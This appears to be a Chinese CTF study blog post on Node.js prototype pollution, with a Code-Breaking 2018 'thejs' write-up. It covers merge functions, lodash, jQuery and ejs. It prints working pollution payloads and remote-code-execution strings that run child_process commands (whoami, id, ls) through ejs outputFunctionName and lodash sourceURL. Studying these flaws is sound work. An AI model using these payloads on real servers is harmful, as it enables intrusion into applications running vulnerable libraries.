一直在做php的题目,对其它语言做的很少。刚好在西湖论剑2022复现时,遇到了一道原型链污染的题目,借此机会开始简单学习一下 Nodejs的洞
p讲解的十分清楚,因此下面举例子就直接用p的例子进行解释了
目录
<1> Node.js基础
(1) 类与构造函数(constructor)
(2) 同步和异步
(3) fs模块
(4) child_process模块
<2> 什么是原型链
(1) prototype
(2) __proto__
(3) 原型链的继承思想
<3> 原型链污染
(1) 简单介绍
(2) merge操作导致原型链污染
(3) ejs污染
(4) lodash污染
(5) JQuery污染
Code-Breaking 2018 Thejs
Xnuca2019 Hardjs
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
这里就只介绍一下后续CTF题会涉及到的一些 node.js的基础
node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用
这就像python 一样pip下载包以后,通过import引入,而node.js是通过require引入的
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
一个类必然有一些方法,类似属性this.bar
,我们也可以将方法定义在构造函数内部:
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}
(new Foo()).show()
如上段代码:Foo
函数的内容,就是Foo
类的构造函数,而this.bar
就是Foo
类的一个属性。
这段代码功能就是 定义一个Foo类,调用Foo类的show方法,会输出它的 bar 属性
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...
就会执行一次,这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。
我希望在创建类的时候只创建一次show
方法,这时候就则需要使用原型(prototype)了
后面会提到
Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。
解释一下同步和异步,就像我们常说的一心二用一样,异步就是我们的一心二用,一边吃饭,一边看电视,而同步就是,吃完饭再看电视。
简单的说就是:
当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容
node.js的文件操作模块,我们本地建立一个sd.txt
它的同步函数:readFileSync,异步函数:readFile
var fs = require("fs");
// 异步读取
fs.readFile('sd.txt', function (err, data) {
if (err) {
return console.error(err);
}
console.log("异步读取: " + data.toString());
});
// 同步读取
var data = fs.readFileSync('sd.txt');
console.log("同步读取: " + data.toString());
console.log("程序执行完毕。");
同步读取: abcdefg
程序执行完毕。
异步读取: abcdefg
child_process提供了几种创建子进程的方式
异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。
其中的一些函数,在一些情况下,可以导致命令执行漏洞,后面写题时候会用到
其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是通过一条原型链来进行继承的
在JavaScript中,prototype对象是实现面向对象的一个重要机制。
它是函数所独有的,它是从一个函数指向一个对象
它的含义是函数的原型对象,也就是构造函数(constructor)所创建的实例的原型对象
个人觉得,它就相当于是类的一个实例的模板, 原型的对象。生成的对象都会参照这个原型对象
生成实例化对象时,如果自己没有的属性prototype有,就会继承此属性,有的话则不会覆盖。
例如看下面这段js代码:
function Foo() {
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
可一看到,我们可以通过prototype属性,指向到这个函数的原型对象中然后创建一个show()函数,功能为输出 this.bar
我们可以认为原型 prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,
包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。
如上面所说,我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。
这时候,就该__proto__登场了
不同于prototype是函数特有的,它是对象所独有的,proto属性都是由一个对象指向一个对象,
即指向它们的原型对象(也可以理解为父对象)
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
foo.__proto__ === Foo.prototype (True)
即:
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法。
一个对象的__proto__属性,指向这个对象所在的类的prototype属性
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
console.log(son.__proto__)
console.log(son.__proto__.__proto__)
console.log(son.__proto__.__proto__.__proto__)
Son类继承了Father类的last_name
属性,最后输出的是Name: Melania Trump
总结一下,对于对象son,在console.log() 调用
son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name- 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name- 依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
类似于Java里面继承的思想,如果子类没有这个属性, 往上继承父类. 有的话就自己用自己的 多态
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链
__proto__
属性,指向类的原型对象prototype
__proto__
属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null
var a = ["aa", "lisi", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
先来看一个简单的示例:
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
console.log(foo.__proto__)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
首先建立一个foo对象,有一个bar属性为1. 此时它的原型对象 并没有,后面通过 foo.__proto__指向了它的原型对象,也就等价于是 foo.prototype,即object。给 object 原型对象增加了bar属性,值为二 。 现在 object 有了(一个bar=2的prototype原型对象)。
但是在我们输出zoo.bar的时候,node.js的引擎就开始在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.prototype.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。
这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
merge操作是最常见可能控制键名的操作,也最能被原型链攻击
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
(json格式才可以被当成key),是不是就可以原型链污染呢?
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)
object3 = {}
console.log(object3.b)
// 1 2
// 2
需要注意的点是:
在JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
参考:Express+lodash+ejs: 从原型链污染到RCE - evi0s' Blog
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
这里有一个代码注入的漏洞
可以看到, opts
对象 outputFunctionName
成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined
,这样在 574 行时,if 判否,跳过
但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object
类创建一个成员 outputFunctionName
,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName
赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE
至于恶意代码构造就非常简单了。在不考虑后果的情况下,我们可以直接构造如下代码:
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
放到代码里面看就是
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami"); // 后面的代码都被注释了'
这样看这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE
CVE-2019-10744
lodash.defaultsDeep(obj,JSON.parse(objstr));
只需要有objstr
为
{"content":{"prototype":{"constructor":{"a":"b"}}}}
在合并时便会在Object上附加a=b这样一个属性
lodash 是一个非常流行的JavaScript工具库
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
运行上面的js语句,就可以检查这个版本的lodash是否存在这个漏洞。
其中漏洞关键触发点在defaultsDeep函数,它将({}, JSON.parse(payload))
merge时,就可能导致原型链污染。使用JSON.parse就是保证合并时能以字典解析,而不是字符串
JQuery 是一个非常流行的Js前端工具库,而它也存在原型链污染漏洞,CVE:CVE-2019-11358 版本小于3.4.0时
可以看到
$.extend(true,{},JSON.parse('{"__proto__":{"aa":"hello"}}'))
Jquery可以用$.extend将两个字典merge,而这也因此污染了原型链。
源码:https://www.leavesongs.com/media/attachment/2018/11/23/thejs.tar.gz
URL: code-breaking/2018/thejs at master · phith0n/code-breaking · GitHub
看一下主要的代码:server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
// 定义session
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
// 获取post数据并合并
data = lodash.merge(data, req.body)
req.session.data = data
// 再将data赋值给session
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log('Example app listening on port 3000!'))
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
lodash.template
一个简单的模板引擎lodash.merge
函数或对象的合并其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。
而这里的lodash.merge
操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template
中。页面最终会通过lodash.template进行渲染,跟踪到lodash/template.js:
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
options是一个对象,sourceURL取到了其options.sourceURL
属性。这个属性原本是没有赋值的,默认取空字符串。
因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL
属性。那这个sourceURL是否可以被我们利用呢? 继续跟进
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
最后,这个sourceURL
被拼接进 Function函数
的第二个参数中,造成任意代码执行漏洞
通过构造global.process.mainModule.constructor._load('child_process').exec('ls')// 就可以执行任意代码了
注:这里不能用require 因为:ReferenceError: require is not defined
p神给了一个更好的payload:
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
p对payload里for循环的解释:
原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉
Javascript 原型链污染 分析 | JrXnm' blog
相关文章:
Node.js 常见漏洞学习与总结 - 先知社区
深入理解 JavaScript Prototype 污染攻击 | 离别歌